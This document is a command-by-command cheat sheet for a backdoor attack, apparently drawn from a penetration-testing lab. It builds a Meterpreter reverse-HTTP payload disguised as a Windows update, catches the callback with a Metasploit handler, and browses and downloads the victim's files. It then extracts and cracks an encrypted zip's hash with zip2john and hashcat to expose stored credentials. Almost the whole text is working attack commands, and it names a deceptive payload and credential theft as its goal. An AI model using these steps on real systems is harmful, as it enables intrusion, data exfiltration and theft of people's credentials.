Backdoor Access & Encrypted File Cracking

Techniques used after a backdoor connection is established — locating sensitive files on the compromised system, exfiltrating them, and cracking any encryption protecting their contents.

Payload Creation

Command
msfvenom --payload windows/x64/meterpreter/reverse_http lhost=[IP] lport=[PORT] --format exe --out windows_update.exe
Description

Generates a disguised Windows executable payload, named to appear as a legitimate system update.

Listener Setup

Command
msfconsole
Description

Launches the Metasploit Framework console.

Command
use exploit/multi/handler
Description

Loads the generic handler module used to catch any incoming payload connection.

Command
set payload windows/x64/meterpreter/reverse_http
Description

Matches the handler's payload type to the one embedded in the backdoor.

Command
set lhost [IP]
Description

Sets the attacker's listening IP address.

Command
set lport [PORT]
Description

Sets the listening port — must match the port used during payload creation.

Command
exploit -j -z
Description

Starts the listener as a background job, waiting for the victim to execute the file.

Session Interaction

Command
sessions -l
Description

Lists all active Meterpreter sessions.

Command
sessions [id]
Description

Interacts with a specific session.

Command
ls
Description

Lists files in the current remote directory.

Command
cd [folder]
Description

Navigates the victim's filesystem to locate sensitive files.

Data Exfiltration

Command
download [file]
Description

Transfers the target file from the compromised machine back to the attacker's system.

Hash Extraction & Cracking

Command
zip2john [file].zip
Description

Extracts a crackable hash from an encrypted zip archive.

Command
zip2john [file].zip | cut -d ':' -f 2 > hash.txt
Description

Isolates only the hash portion needed for cracking, saving it to a file.

Command
hashcat --identify hash.txt [wordlist]
Description

Confirms the exact hash mode before running the attack, since some formats have multiple sub-variants.

Command
hashcat -m [mode] hash.txt [wordlist]
Description

Attempts to recover the plaintext password using dictionary attack.

Password Recovered

Command
-
Description

The hash is successfully cracked — status shows 'Cracked' and the recovered password (tinkerbell) appears directly in the output.

Unlocking the Archive

Command
-
Description

The recovered password is used to unlock the encrypted archive, confirming the crack was valid.

Credentials Exposed

Command
-
Description

The decrypted file's contents are revealed, exposing the victim's stored credentials — the end goal of the attack.